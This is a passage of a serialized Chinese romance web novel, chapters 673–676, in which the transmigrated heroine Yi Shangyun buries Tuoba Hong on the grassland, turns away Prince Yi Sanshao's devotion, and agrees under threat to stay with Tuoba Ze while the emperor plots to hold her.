“方才进来时从外面看,这分明就只是一个普通的树林而已啊!可怎么一走进来,就是走不到头,亦找不到出去的路呢?” 此时越往深处,伴随着眼前的视线愈来愈暗,耳畔时不时还传来阵阵各种不明生物的叫声。 枝头缠绕着带有剧毒的毒蛇,朝她吐着信子,衣上云看着这一切,默默地吞咽下一口口水。心里竟真的有些害怕了起来。 可回头看,身后的每条路居然又都一模一样,所以她根本已分不清自己到底是从哪条路走来的。 于是她只能紧紧地缩成一团,抱着拓跋宏的骨灰盒,警惕地审视着周围的一切环境变化。 一个人加快脚步,继续走在林中道路崎岖、周围密林葱郁、无边无际的小路上寻觅着。 自言自语嘀咕道:“这到底是什么地方!仿佛是一片茂密的原始森林一般。” 走着走着,许是心里受到了惊吓,稍一分神,脚下竟忽一个踩空。 霎时间,伴随着“啊”的一声尖叫,衣上云便就摇摇欲坠地欲从一斜坡上滚落下去。 就在这千钧一发之际,忽然闪现出一红袍男子的身影,喊了一声“当心!”,便以迅雷不及掩耳之势直奔她所在的位置飞身了过去。 伸手一把揽腰将其紧紧地抱住,俩人遂纠缠在一起,一道朝山坡下快速滚落而去。 待到再次醒来。 山上的溪水,如一条玉带流淌在峡谷之间,随山势奔腾。 或在崖壁间飞流直下,或九曲十八弯坠落于深潭。 正是一处峡谷内,瀑布叠叠,绿水漾漾。 俩人就一起落在此处地处偏僻,又四面环山的一条椭圆形湖边。 湖里的湖水清绿,蓝天白云映入湖中,如梦似幻。 湖岸绿树成荫,鸟语花香,好多小动物正在湖边自由自在地散步活动。 一切恍如一片世外桃源。 远山上银装素裹,似是终年积雪不化,使得即便在最热的这个季节,这里也是气候温暖,清爽宜人。 在此,亦可一览众山小。 连绵起伏的青山,如缓缓打开的一轴画卷,与天边那飘逸而又奇幻的云雾相映成趣,叠连成画。 让人如痴如醉。 届时,红袍男子先睁开眼睛,醒了过来。 顾不得自己身上的痛,赶忙坐起身来,轻轻晃了晃幸好被自己护在了怀里的衣上云。 “云儿……” “醒醒……” “醒醒……” 只见衣上云在红袍男子的怀里,眼珠子微微翻动了两下,果然亦被其唤醒了过来。 遂亦缓缓坐起身,扶了扶尚还有些痛感的脑袋,问:“这是哪儿啊?我怎么会在这儿?” 红袍男子显得颇为紧张地,帮她回忆着道:“你刚刚从山上跌了下来。怎么样?有没有觉得还有哪里不舒服?” 而衣上云同样顾不上检查自己身上的伤痕,刚一醒过神来,便到处着急地寻找着:“我的包袱,我的包袱呢?” 红袍男子见了,赶忙放眼朝四周扫了一圈。 起身过去将落在俩人身旁不远处一黑色的包袱拿了过来,递到衣上云的面前,问:“你要找的,是这个吗?” 衣上云一把将其夺了过去,紧紧搂在怀里,紧张极了地连连致歉:“对不起,对不起,是我不好!都是我不好!我没有保护好你。” 红袍男子看到这一切,似是惊呆了,遂心疼地嘴里喃喃呼唤了她一句:“丫头……许久未见,你这到底是怎么了?” 似是惊魂未定,又失而复得的衣上云一时间里,似乎都忘了此时身边还有另一个人的存在。 看到她如今现在这个样子,红袍男子心里竟油然而生一种不好的预感。 直到他再次俯身下去蹲在她的身旁,替她细心地理了理鬓角散落的发丝。 认真地看着她的眼睛,柔声问了句:“云儿,你可还记得我是谁?” 直到这时,衣上云方才缓缓移动目光注视到红袍男子的脸上。 仔细看了会,最后问:“你是……三少?” 闻此,红袍男子竟一时激动至喜极而泣地将她一把揽入自己的怀中。 险些将衣上云给扑倒,紧紧拥住道:“谢天谢地,丫头,我就知道你是不会忘记我的!” 自从上次两人分别,易三少找了她这么久,实在没有办法,便只能日日守在秦王府门前等。 怎知最后等来的,却是秦王府挂起了白灯笼,为她置丧的消息。 他不信,他绝对不信。 他的丫头,他用自己全部的生命所护着的人,怎能如此轻易便就离开自己。 直到那夜,他亲眼看到衣上云女扮男装溜出了王府。 此刻,他就这般真实地拥着她,拥着真实的她,竟情不自禁地又将手里的力道加了几分:“你知道我的命都可以给你,我绝不许你就这样离我而去……” “三少……” “三少……” “快……” “快放开,我…… “我不能呼吸了!” 直到听到衣上云的求救声,在他的耳畔边断断续续地响起。 还同时用两只纤纤玉手,不断轻拍着他的后背。 易三少这才忽地意识到自己的错误,遂倏地松开了手对其致歉:“对不起,丫头,知道你还活着,我是真的太开心了!” 衣上云刚被松开,便就倒向一边,开始大口地喘气着。 这时,易三少方才开口问:“听说,你打算去草原,你去那里做什么?” 衣上云再次开始轻抚起手里的黑色包袱,说:“我是要带二皇子回草原去!” 易三少瞥了一眼那个包袱,似是已猜到了什么,想要再次朝其确认:“什么二皇子?” 见衣上云一直轻抚着手里的黑色包袱。 易三少似乎终于明白了过来,却是惊诧极了地问:“莫非你是说,北烈国二皇子拓跋宏他已经……” 想起前段时间发生的事情,衣上云默默地闭起了眼睛,两行晶莹的泪水瞬时滑落脸庞。 易三少不明白地问:“听闻北烈二皇子拓跋宏文武双全,却志向闲散,颇精通岐黄之术,怎会就如此年轻便……” 衣上云终是再也忍不住了,便睁开眼睛来,自责极了地道:“这一切,都是因为我,若不是为了救我,他也不会掉入璟帝的陷阱之中……” 易三少追问:“这到底是怎么回事?” 听了衣上云将整件事情的来龙去脉叙述清楚,易三少不禁陷入了深深的沉思当中。 衣上云却早已泪流满面,灰心丧气地望着面前平静的湖面,说:“三少,我忽然觉得自己就是一个丧门星。所有与我亲近之人,到最后只会带给他们厄运。所以,你也离我远点儿吧,我不想连累你。” 看到衣上云竟然因此已经难过至此,易三少坐在其身边,缓缓抬起一只胳膊去,一把将其心疼地揽入到自己的怀里。 劝慰她:“我的丫头,自是全天下最好的女子,怎么可能是个丧门星?!不要怕,更不要相信什么丧门星之说。这些年,你救过多少人,数都数不过来。明明谁遇到你,就是谁的幸运。所以这次去草原,我又怎么能不陪着你?以后,无论天涯海角,就让我永远陪着你!” “可是……” 闻此,衣上云倏地坐起,心里似是还有些顾虑。 她要如何告诉他,璟帝只给了她半年的自由。 而易三少却忽然伸手过去紧紧握住她的双手,目光炙热又深情地说:“丫头,不要再拒绝我,好吗?” 衣上云对此到最后亦无任何回应,她亦无法回应,只一直注视着他热烈的眼睛。 得不到的回应,到底该怎么办? 置身于眼前的旖旎风景。 易三少介绍说:“你知道吗,这条湖,名叫做玉湖,此湖水的水满与水亏都是自行控制,至今无人能解其中的奥妙。” 衣上云叹道:“大自然的鬼斧神工总是令人惊叹不止,造就了这样美丽的世界。” 易三少又道:“还有,这里有另一个更奇妙的景象,就是人们不能在湖边高声喊叫,倘若有人不听劝阻,大声高喊,瞬间即可招来大雨、冰雹或雪花,景致十分壮观、奇特。” 这时,衣上云忽然满脸希冀地笑着说了句:“好期待下雪呢!” 沉默了许久。 不知过了多久,易三少犹犹豫豫地忽然开口问:“能不能告诉我,你为什么要假死?” 想了想,衣上云开口道:“许多乱如麻的事情,或许只有我死了,一切才会路归路,桥归桥,各自回归到正轨!” “可……” 似是想说什么,又有些顾虑。 想了想,终究还是说出了口道:“可你真的能放下他吗?以他的敏锐,或许,很快他便就会发现,这是一场骗局。到时,你又该如何?” 衣上云似是坚定极了:“没用的,只要我不承认,便就没有人能奈我何。更何况……” 听到衣上云的话忽然断了,易三少问:“什么?” 衣上云想了好一会儿,终于鼓足了勇气,侧过身去对着易三少极其认真地说:“三少,其实我……并不是你们这个时代的人。” “你说什么?” 第六百七十三章:筹码远远不够 一片宛若仙境般的峡谷里,烟雾缭绕、凉风习习。 漫山遍野盛开的花香阵阵、如天籁般的鸟鸣声,夹杂着山涧流水潺潺。 听着耳畔衣上云将自己不可思议的经历娓娓道来,其所讲的一切,易三少早已惊呆了。 虽说天下之大,无奇不有。 可他还是不敢相信:“世间怎么会有如此神奇之事?来自另一个世界的灵魂,竟然进入到眼前这个世界的身体里。” 然而,除此之外,让自己意想不到的更有甚者。 原本他一直以为衣上云的心里只有那个让他厌恶至极的轩辕翰。 可如今看来,那个她口中所说的遗失在21世纪的魏明轩,才是她真正心心念念的人。 可无论是魏明轩,亦或轩辕翰,能够得到她的真心,却是都比他幸运地多。 事实上,与她而言,他甚至可以说什么都不是。 一念至此,易三少总算是终于明白了过来。 遂神情黯然,伤感地说:“所以说,你之所以要假死,与你所说的许多乱如麻的事情,就是不想亲自面对轩辕翰,对吗?” 面对双世记忆里的爱人,衣上云真实的想法到底是什么, 这一切,她都极力地隐忍着,不让别人察觉,于是只淡淡地道:“好歹亦是夫妻一场,就算是吧!” 看她回答地竟如此云淡风轻,可易三少的心里却是嫉妒的发狂。 竟然发出一阵低声喃喃道:“你对他,还真是用心良苦!” 虽然就坐在他的身边,却并未听清易三少故意压低了声音所发出的这阵喃喃细语,衣上云追问道:“你说什么?” 易三少吐了口浊气,道:“没什么?” 就在这时,衣上云忽然吞吞吐吐地道:“三少,其实……还有一事……” 见此,易三少扭过头来看着她的眼睛,问:“什么?” 犹犹豫豫间,衣上云终于还是开了口:“不瞒三少,我只有半年的自由之身。” “这是什么意思?”易三少听了皱起眉头来,不明白地追问。 衣上云深吸了口气,说:“离宫前,璟帝以丁香要挟我,这次只给了我半年的时间。半年后,我必须回宫,以后再也不踏出宫门半步。否则,丁香便会受到连累。” 易三少听了默默地握紧拳头,想了会儿,似是忽然想明白了,便问衣上云:“你可知道他这么做,是为什么?” 衣上云不解地摇了摇头。 岂料易三少忽然乍出一句,道:“得守护者得天下,他一定已经知道了你便就是西秦国遗失多年的守护者后人。” “什么?” “你怎么亦已知道我便是……” 闻此,衣上云顿惊诧地与其对视在一起。 过了会儿,易三少先开口打破了这片沉默,说:“我是怎么知道你真正的身份的并不重要。可你有没有想过,如果璟帝一旦知道这些年是衣府和秦王府在收留你,他会怎么做?” 衣上云面露难色,道:“这亦是我为什么让父亲去秦王府报丧的原因之一。” 易三少摇了摇头,担忧地道:“可璟帝多疑,他一定早已派人在查你的过往,秦王轩辕翰是什么人,他能连自己的女人都护不住吗?璟帝是不会真的相信秦王妃的死的。” 一时间,不知衣上云暗自在心里琢磨着什么,最后冷冷地开口说了句:“这次,不由得他不信,大不了我与他……” 见她忽然这副冷厉决绝的表情,易三少着急地问:“你想做什么?” “没什么,这次,我一定能护住他们。” 最后,衣上云只信誓旦旦的说了句。 而其身边的易三少,亦与其同时在心里默默地下定决心道:“丫头,不管你是谁,在我眼里,你永远都只是我的丫头。放心,我一定会护你一世周全。” 西秦皇宫。 璟帝高高上坐若有所思着,沉默了许久,终于开了口,却是问了句:“你说这个秦王妃,是真的殁了吗?” 一旁的太监想了想自己近日所听闻的,回话说:“这纯太妃听闻秦王妃殁了的消息,为此而悲痛不已,都已经卧榻不起了,听说秦王在府中亦是整日神情恍惚,悲愤欲绝,想必应该是真的吧!” “可朕怎么总觉得这件事有些蹊跷?”璟帝果然对这件事,以及轩辕翰的话疑心重重。 回忆过往,幽幽道:“记得这个秦王妃可是纯太妃亲自来宫里用父皇的万里江山图换得的,想来入府后一定备受保护,又怎么会如此轻易,说死就死了呢!” “这个嘛……” 太监正在思索,忽闻殿外有人匆匆进殿来禀报:“启禀皇上,觻县有新消息传回!” 一直以来,因为竭尽全力帮助了觻县百姓,亦信以为真衣上云为了守护觻县,是真的被沙暴所吞噬。 为了感念他的无私付出,觻县的百姓们都很保护其身份。 于是致使璟帝在很长的一段时间里,所派去的人,并未打探到任何关于衣上云的真正身份过往消息。 可就在刚刚,璟帝竟又收到了一封来自觻县的密报。 急急从太监手里接过,展开信笺,璟帝仿佛简直不敢相信自己的眼睛,遂将一双深不见底的眼眸瞪到了最大。 直到看完了上面的每一个字,方才紧紧地握住了拳头。 却依旧想要平复自己心头的愤怒,想要沉住气,可终究还是怒发冲冠,咬牙切齿地发出一声道:“轩辕翰,他怎么敢?” 遂将那信笺紧紧揉成一团,丢弃在大殿地板上,太监的脚下。 那一旁立着的太监见了,小心翼翼地低声询问:“可是觻县的人已经查明了她的身份?” 这令璟帝着实是太意外了,道:“没想到,最后竟是这样的结果,属实让朕万万没想到。” 太监似乎还是没有听懂,便再次尝试着问:“所以她到底是什么人?” 璟帝似是已经深陷于自己的某种思绪里,嘴里喃喃低声道:“她竟然就是那秦王新娶进门的秦王妃?!难怪纯太妃亲自入宫来求!” 霎时间,太监听到后,整个人都惊愣在原地:“什么?她是……秦王妃?!” 仔细一想,他方才慢慢变得对其印象清晰了起来,遂自言自语低声说:“原来是她!难怪总是觉得好像在哪里见过一样?” 这时,璟帝目光一闪而过,忽瞥见他正在分神的模样,于是便质问道:“你在那里一个人嘀咕什么呢?” 太监唯恐璟帝责骂自己后知后觉,自是不敢这个时候以实相告。 于是眼珠子咕噜一转,便急忙回过神来扯谎解释。 “想秦王妃入宫那日,意外被人刺伤。唯恐冲撞了龙颜,便又匆匆出了宫回府,自此据说一直在王府修养身子。所以,宫中的确很少有人识得,想来真的是大意了!” 看着璟帝沉默不语,自己算是应该也将其糊弄了过去。 太监便继续试探着问:“事到如今,那皇上打算如何处置?该不会……会不会守护者的身份,秦王亦早就已经知道了?” 璟帝仔细想了想,却说:“难道你没有发现,守护者对于自己秦王妃的身份,似乎全然不知?” 顺着璟帝的指引,太监亦认真想了想,最后点了点头:“难道是那场沙暴所致……她失忆了!” 继而又问:“那现在,依皇上的意思是……” “哈哈哈……哈哈哈” 不知为何,璟帝竟忽然间大笑了起来,且意味深长地说:“依朕看来,这场游戏,真是越来越有意思了!” 这时,太监却顺着这些思绪继续往下想着,说:“那秦王妃乃衣府嫡女,大胆衣上坤,竟敢欺君。如此看来,秦王府和衣府肯定早已有所勾结,难道他们想挟守护者造反不成?” 一念至此,那太监紧忙着急地说:“皇上当立刻派人,速将秦王府与衣府一起查抄,以绝后患!” 而璟帝却提醒他,说:“你难道又忘了,秦王妃已经死了?” 那太监气道:“她那是假死……此乃欺君之罪,依律当斩,诛九族!” 璟帝又问:“可如今全城都已经知道,秦王妃殁了。如果她矢口坚决否认自己是秦王妃,到时候,我们亦拿他们一干人等没有一点儿办法!” 太监想了想,璟帝所说并非没有道理,于是有些丧气地问:“可难道,我们就一点儿办法也没有了吗?” 此话一出,偌大的殿内,一室寂静。 不知过了多久,那太监嘟嘟囔囔地再次开口说:“事到如今,亦不知道她是不是真的会为了那个小药女回来?万一,又或许,她又忽然恢复记忆了呢?” 对于这一点,璟帝却始终都深信不疑:“无论如何,她都会回来的……” 紧接着,又道:“只不过,原来,朕以为一个小药女,便足够困住她了……” 太监静静地站在一旁听着璟帝的话。 顿了顿,璟帝又道:“可如今看起来,朕的筹码还远远不够,我们尚还需要准备更大的筹码,才能将她永远困在身边……” 那太监明显已经跟不上璟帝的思想,嘴里默默地问:“皇上的意思是……” 而璟帝,却已在心中仔细再次做起了盘算来! 第六百七十四章:留下赎罪 天苍苍, 野茫茫, 风吹草低见牛羊。 广袤的草原上短暂的盛夏时节,青山为幕,绿草为台。 壮丽的山峦与遍地迷人的花海,清澈的湖泊与洁白的穹庐交相辉映,宛若一幅美的不可方物的画卷,在人们眼前缓缓呈现开来。 这次在易三少的陪同与照顾下,翻山越岭,跋山涉水。 历经千辛万苦,衣上云终于将拓跋宏送回到这片他午夜梦回,皆都一直向往的故乡。 通过一番四处打听后,最后将他葬在了北烈老国君的旁边,周围皆是其同族相伴。 衣上云一袭素白纱裙,脸色显得颇为凝重。 跪在地上,哀声道:“二皇子,我终于将你带回来了!以后有父王母后的陪伴,还有这么多族人陪着你,在这片自由的土地上,你应该再也不会觉得孤单寂寞了,对吧?” 一边说着,不知心里是悲伤,还是高兴,只见其眼泪竟忽然再也止不住地溢出眼眶来,一颗一颗落下。 身旁的易三少看见她如此伤心,遂担心地将自己的一只手抬起,轻轻搭在她的肩头想要给予她一些安慰。 却不想衣上云更加伤心难过了起来:“二皇子,对不起,真的对不起。都是因为我,事情才会变成现在这个样子。这些日子以来,我一直在想,如果我不曾来到这个世界,我们便不会相遇,如此,这一切便就都不会发生了!” “丫头,丫头……” 见她情绪骤然激动起来,易三少再也无法继续看她伤心下去,轻轻摇晃了一下她的肩膀。 衣上云依旧在抽泣着。 无奈,易三少只能蹲身下去,捉住她的双肩,将她的脸强行霸道地转了过来,说:“丫头,你还有孕在身,千万不可再这样伤心难过下去。” 想了想,继续宽慰劝她:“他即便不遇到你,所有事情该发生的还是会发生。北烈与西秦之间的纷争已经太多年,并非因为你的出现才开始有的。” 衣上云紧紧拽着自己此刻疼的要命的胸口,似是都快要喘不过气来。 哭着道:“可若不是因为秦王怀疑是拓跋泽将我掳到了北烈,西北之战便不会来的如此之快,之急。二皇子亦不会因为缺乏带兵经验而背负起不忠不义的亡国奴的骂名……” 见她将所有过错往自己身上揽,易三少愤怒地说:“那只能怪他屡屡在战场上优柔寡断,根本不善用兵之道,御敌之术;更怪其兄拓跋泽心术不正又偏野心勃勃、不懂敌强则用智,敌弱则用势。作茧自缚、最后只得自作自受。” “不要说了” “三少不要说了” “我求你不要再说了” 衣上云却是瞬间用自己的双手堵住了耳朵,什么都不想再听,连连拒绝他道。 想着拓跋宏被囚禁在西秦皇宫里,最后的日子都有衣上云为伴。 他竟然很是羡慕:“他这一生能遇见你,你能陪他度过生前最后的那些日子,想来他离开的时候,应该亦是满足的。” “对不起” “对不起” “真的对不起。” 可仿佛对于他,衣上云也只剩下不停的道歉了。 听着她嘴里发出一遍又一遍的对不起,易三少心里亦是难过极了。 曾几何时,她不也对自己说过无数次这样的话嘛…… 面对与自己一样,默默守护着自己爱而不得的女子之人,易三少竟觉失落地默默低声道:“人都没了,这么多对不起,生前生后说了一遍又一遍,究竟有何意义?” 显然,任凭他怎么相劝,衣上云始终都止不住哭声。 易三少心里竟然有些不耐烦起来,但还是努力压抑着心头的情绪,说:“你真的不能再这么哭下去了,你就真的不担心自己腹中的孩子?正所谓母子连心,你莫非不懂?” 衣上云又怎会不懂? 可她心里实在憋得慌,好多好多话,都还没来得及说,却再也没了说的机会。 她至今都耿耿于怀,为何他不能等等自己,她明明亲口告诉过他。她一定会带他离开。 可为什么他就是不听? 于是只能告诉易三少,道:“三少,可我真的好难过,真的好难过。” “我知道你难过,我知道,我会一直陪着你的,别怕……”易三少终是心疼地将她一把抱紧,一遍又一遍地轻抚着她的头发。 衣上云躲在其宽大的怀抱里,紧紧攥住了易三少的衣领一角。 就在这时,拓跋泽忽然现出了身来。 他是那般突兀地站在俩人的中间,注视着拓跋宏的墓碑好大一会儿。 方才渐渐放大瞳孔,不敢置信极了地朝俩人确认:“你们在这里做什么?这是谁的墓碑?” 闻声,俩人方才松手放开彼此,易三少扶着衣上云站起身来。 易三少先开口道:“如你所见,这是……你那皇弟的。” 闻此,拓跋泽只觉脑袋里顿“嗡”的一阵响。 稍后,待其缓过来些许,便移动目光看向正在一旁悄悄擦拭泪痕的衣上云,问:“你是不是该告诉我,这到底是怎么回事?” 这时,易三少哗的一下,快步上前挡在了衣上云的面前,对拓跋泽说:“这不关她的事,你不要为难她,有什么事冲我来。” 拓跋泽怎会不知,自从北烈亡国后,在他这个弟弟的眼里和心里,便就只剩下和这个女人有关的事了。 于是,他紧紧地盯着衣上云的眼睛,想要她亲口给他一个解释。 眼看着因为自己,拓跋泽与易三少争执了起来。 衣上云想了想,遂伸手将易三少挡在自己前面的胳膊拉了回去。 易三少对她摇了摇头,示意她此事有他处理。 然衣上云却对其笑了笑,说:“三少,这件事,总该有个了断,就让我自己解决吧!” 易三少则坚决不同意,说:“不可,拓跋泽这个人着实狡诈危险,丫头你不要怕,一切有我,放心!” 衣上云却依旧坚持着道:“三少……” 无奈,易三少只能缓缓松开了手。 这时,衣上云绕过易三少的身边,走上前来劝道:“好了,你们不要争了。” 继而来到拓跋泽的身旁,对其说道:“大皇子,可否借一步说话?” 易三少见到俩人真的欲走开,便担心地最后还想要挽留她一次:“丫头不要去……” 可衣上云却回头只朝他微微一笑,兀自离去。 俩人来到了一条小河边,河对岸有一牧羊人正在放牧。 衣上云看着那些遍地肆意自由奔跑的羊群,将这段时间以来发生的所有一切,向其娓娓道来。 听了她的话,方知拓跋宏受了这么多罪。 一时间,拓跋泽恨的牙直痒痒,紧紧攥起了拳头。 最后,却隐忍着说了句:“终究,他还是为你而命丧黄泉。” 衣上云抱歉极了地道:“对不起……” 不想,拓跋泽竟忽地扬起声来朝其大怒吼叫了起来。 “对不起有什么用?对不起就能让他活过来吗?我拓跋泽的兄弟,从小到大,只有我一人可以欺辱,别人任谁都不能!可他却为了你在秦宫里吃尽苦头,受尽屈辱,竟连命都丢了……” “你……”说着,竟将两根指头指到了衣上云的鼻翼前。 这一次,果然将衣上云吓了一跳,原本就弱小的身子不禁顿颤抖了一下。 拓跋泽的眼眶里,竟然有泪花在闪烁。 这令她着实感到意外。 可却也什么都没说,仿佛一个做错事的孩子一般,等待着接下来未知的惩罚。 看到拓跋泽久久陷入在自己的沉思里,不知道在想些什么。 衣上云便小心翼翼地问:“你……在想什么?” 顿了顿,拓跋泽忽然转身,认真地看向她的脸,朝其严肃地说:“他是因为你而死的,你便留下赎罪吧,一直到我满意为止,这是你欠我的。” 闻此,衣上云瞪着他的眼睛,大惊失色地道:“我……” “你是说……” “你要我……” “留在你的身边?” 拓跋泽故意上前两步,几近要撞上她的鼻尖,反问她:“怎么?你不愿意?” 看到衣上云眼里的迟疑,拓跋泽又道:“没关系,你有权利拒绝。可若是你拒绝了,那我便将秦王妃假死,本人尚还好端端活在人世的消息公布于众,让世人皆知。” 闻此,衣上云紧张极了地拒绝说:“不……不要。” 于是很快地便就做了决定:“好,我答应你。” 却亦提出了一个要求:“但是,我也有个条件。” 这的确让拓跋泽有些意外:“待罪之身还敢提条件,不妨说说看……” 衣上云说:“我可以留下,但是从此以后,你必须全都听我的。” 闻此,拓跋泽忽然垂首端详起她的全身来,过了会儿,眼神异样地说:“你的意思……莫非是想与我……” 衣上云顿将其思绪打断:“你不要乱想,我只是因为觉得欠二皇子的。所以,不想让你的下场太过悲惨,想拉你一把!” 拓跋泽似是都不敢相信自己的耳朵,问:“我没听错吧,我需要你拉一把?你有什么资格?” 衣上云胸有成竹地说:“我说我有,便就是有。你亦可以选择不信,可以拒绝与我合作,但以你现在的实力,若是南安太子想带我走,如今的你,你认为你还拦得住?” “好,我便信你一次。” 拓跋泽好奇地问:“那你呢,你想要什么?” 衣上云低头看着自己正一手轻抚着的腹部,说:“我要你绝对保证我的安全,让我平安生下这个孩子……” 拓跋泽仔细认真地想了想,梅汐媛与衣上云相比,显然衣上云对自己更有助力,于是最后答应了她:“好,成交!” 第六百七十五章:草原上自由的风 看到衣上云终于再次回到自己的身边,易三少紧忙上前过去将她扶住。 一边紧张地仔细上下打量她的周身,一边关切极了地问:“丫头,你没事吧!他有没有对你怎么样?” “放心,我没事!”衣上云摇摇头对他说,勾出一抹浅笑来示意他安心。 这时,易三少看着拓跋泽令人憎恶极了的脸,愤愤地说:“既然如此,该说的也都已经说了,人既已送回,此后便就再不相欠,我们走!” 说着,便附手上去一把拉起衣上云的手来欲要离开。 岂料,衣上云却立在原地里,丝毫未动。 察觉到衣上云似是有些不对劲,易三少只再一次拽了拽她。 衣上云依旧像是被什么定住了一般,一动不动。 易三少甚是对此不解,连连问她。 “你干什么?” “还不快跟我走!” “哼……”这时,拓跋泽一手握剑,双臂环抱着勾出一抹阴阳怪气的哼笑声来。 继而开口说:“南安太子,她是不会跟你走的。从现在开始,这个女人,她已经是我的了!” 易三少听了,顿满脸质疑地看向衣上云的脸。 届时几乎是飞步过去,狠狠地一把提起了拓跋泽的衣领,质问他:“混蛋,你究竟对她做了什么?” “你算是个什么东西,本皇子做了什么,何时需要同你讲?” 如今有了衣上云的亲口承诺,拓跋泽果然丝毫不再惧怕他。 虽然不知衣上云究竟为什么要这么做,但是这次她竟然开口主动要留在自己身边,这着实令他心中又惊又欢喜。 曾经心里无数次的期待,这一刻,竟然成了真的。 不得不承认,在这个女人的身上,暗藏着一股神秘的力量。 她就像是一道光,无论何时何地,如何困境重重,总能冲破云雾,照亮别人晦暗的生命。 即便就只远远地看着她,便足矣…… 就在拓跋泽正在思量之际,易三少竟用另一只拳头,冷不丁狠狠地砸在了他的脸上。 嘴里还谩骂着:“你这个不知羞耻的亡国奴,早都已经家破人亡了,还敢自称本皇子,如今你算哪门子的皇室贵族。竟敢要挟我的丫头,我的丫头亦是你能觊觎的人吗?你到底对她做了什么,看我不剥了你的皮,抽了你的筋!” 紧接着,很快第二拳也已高高抬起,欲要降落。 拓跋泽忽地回过神来,亦不甘示弱,慌乱之中,倏地伸手想要去拔剑。 见这二人再次为自己起了争执,甚至还打斗起来。 身后的衣上云一瞥见拓跋泽手里的细微动作,扬声急急开口,阻止道:“还不快停下来,不要再打了!” 闻声,易三少的眼睛顿怒射朝身后斜了一下,问衣上云:“他到底把你怎么了?你说话啊!” 衣上云说:“你先松开他!” 易三少想了一瞬,只能一把愤愤地将其推开,力道强劲,致使拓跋泽连连后退了好几步,方才止住。 易三少转身,等着衣上云的解释。 衣上云默想了一会儿,最后深吸了口气,道:“三少,你不应该属于这里,回到属于你的地方去吧!” 易三少惊讶不已,难以接受:“丫头,你在说什么?你不是刚刚才答应过,不会拒绝我,让我永远陪在你身边的吗?” “我何时曾答应你了?”衣上云决绝地说。 “你就是答应了!”易三少竟自顾自不甘心极了地扬声,对其第一次怒吼了起来。 看到他已然失去了理智,衣上云便沉默不再说话。 易三少顿觉自己错了,遂面色变得慌张起来,朝其追问:“你到底怎么了?到底是他对你做了什么,还是说了什么?亦或,可是我做错了什么?你说,我都可以改!” 衣上云吸了口气,环视了一眼周围风光无限美好的空间,道:“三少你没错,一切都是我的错。因为我刚刚发现,这里更适合我,我更喜欢这片蓝天白云下的畅快,就连空气都是自由的……甚是随性洒脱……” 易三少亦伴随着其目光所及之处扫了一圈,说:“你想要的,我也都能给你,你若是喜欢这里,我便亦留下陪你一生一世,只是你为什么要答应这样的人渣,留在他的身边?” 衣上云思索片刻,认真地道:“三少……你别忘了。终究,你是南安国尊贵无比的太子殿下,将来终有一日,你是要继承大统的,怎能真的陪我过这一世闲散的日子。” 易三少着急地几乎快要疯掉了:“什么太子殿下?什么继承大统?这些我都从未想过,你知道我想要的是什么?只要你愿意,我可以的……” 然衣上云想都没想,脱口扬声即出:“你不可以!护一城百姓,是你出生时便就注定了的,谁都改变不了!” 此话一出,再无一人说话。 此情此景,就连一旁站着的拓跋泽亦早已看呆了。 “没想到,这潇洒不羁的南安太子阅女无数,竟也会如此痴情?为了她,居然连王位都肯舍弃。” “这个女子,更是深不可测。” 看到衣上云已然丝毫不给自己任何机会,易三少最后一次问她:“你真的决定了,要留在这个人的身边。” 衣上云点了点头。 易三少严肃极了地道:“你不要后悔!” 衣上云坚定地道:“我做过的每一件事,都从不后悔!” 看来已然再无法挽留,易三少最后仍恋恋不舍地说了句:“无论如何,我都会等你。你若嫁人,我等你和离;你若不离,我等你丧偶;你若安好,我一直等你,今生等不到,那便下一世,下一世亦等不到,那便生生世世,你若不来,我绝不离去……” 说完,便彻底转身失望地离去。 衣上云此时眼里早已噙满了泪水,望着他心念俱灰离开的背影,默默流着泪说了句:“三少,对不起……” 拓跋泽不知何时,亦悄悄来到了衣上云的身旁,注视着易三少离去的落寞背影。 又看了眼她悄悄流下的泪水,叹声道:“没想到,这南安太子竟对你也如此痴情!” 紧接着,有模有样地在衣上云的耳旁,默念了一遍:“你若嫁人,我等你和离;你若不离,我等你丧偶……” 转而忽心生起一念来,打趣她问:“那是不是,如果本皇子日后对你多说些类似的情话,你便亦会心悦本皇子啊?” 衣上云扭头狠狠瞪了他一眼。 继而转身说:“爱一个人,不是对他说说不完的情话,而是夜里互相掖起的被角。曾经那般期待着能执子之手,与子偕老,到头来亦不过是短短一程。吾心安处是吾家,但愿世间有情人,心动与心安,都能在终点撞个满怀!” “哎,我说,我这次见你,怎么发现你和之前不太一样了,你这话什么意思,听起来感觉好像很深奥的样子……”拓跋泽根本不能体会其所说话里的意思。 衣上云懒得理他,扭头便走,顺带骂了句:“白痴……本姑娘当然已经不是以前的本姑娘了。” “爱一个人,不是对她说说不完的情话,而是夜里互相掖起的被角……被角……” 拓跋泽仍是杵在原地,遂亦一边念叨着,一边抓挠着脑袋。 忽然见衣上云独自迈步离开,方才紧忙追了上去,连连追问。 “我说你这个女人,到底是怎么生的?竟能令这世间的所有男子,俱都为你而甘愿付出所有……” “可你却为什么偏偏对那秦王轩辕翰情有独钟……” “其实我也很不错的,你怎么不多看我几眼呢?” 衣上云听见,一边继续脚下的步伐,一边摇头道:“我看你是要疯了吧!” 忽然之间,拓跋泽觉得自己有生之年仿佛从未像现在这般如此轻松,快活过。 于是继续在后面奔跑着一边追,一边喊着。 “你去哪儿啊,等等我……” “哎……本皇子跟你说话,你到底有没有在听啊……” “本皇子就不信了,自己居然连个孕妇都追不上。” 伴随着脚下的步伐加快,拓跋泽的心亦渐渐明亮了起来。 草原上的风,果然是最自由的。 连同这里自由的空气,似能治愈一切伤痛。 而在草原的另一边,易三少黯然退场后,心灰意冷地走着走着,忽然再次停下了脚步来。 “不行,我在做什么?” “我怎么能就这么轻易便就离开,把丫头一个人丢在这里无人问津。” “还不知这一切,究竟是怎么回事?” “万一拓跋泽那个混蛋,他要是想伤害丫头怎么办?” “可丫头方才的那一席话,说的又是那样坚决。此时我若是再回去找她,想必亦是同样改变不了什么。” 心里始终都放不下的人,矛盾的想法,全都将自己紧紧缠绕包裹着。 沉重的脚步抬起,往前好不容易走了两步,却又都退了回来。 如此就这样反反复复,来来回回不知多少次踱步。 最后,他终于在心里暗暗地做了决定。 “丫头,不管你说什么,我都不会相信。” 第六百七十六章:互相掖起的被角(一) 从眼看着天边的晚霞映青山,直至最后呈现出一片沉静的夜色,醉了人心。 草原的夜空中,依旧繁星漫天。 头顶仍旧是一片亘古不变的璀璨银河,可却转眼亦的确是物是人非。 想起那一年,被拓跋泽初次带到这片草原上,由此真正认识了拓跋宏。 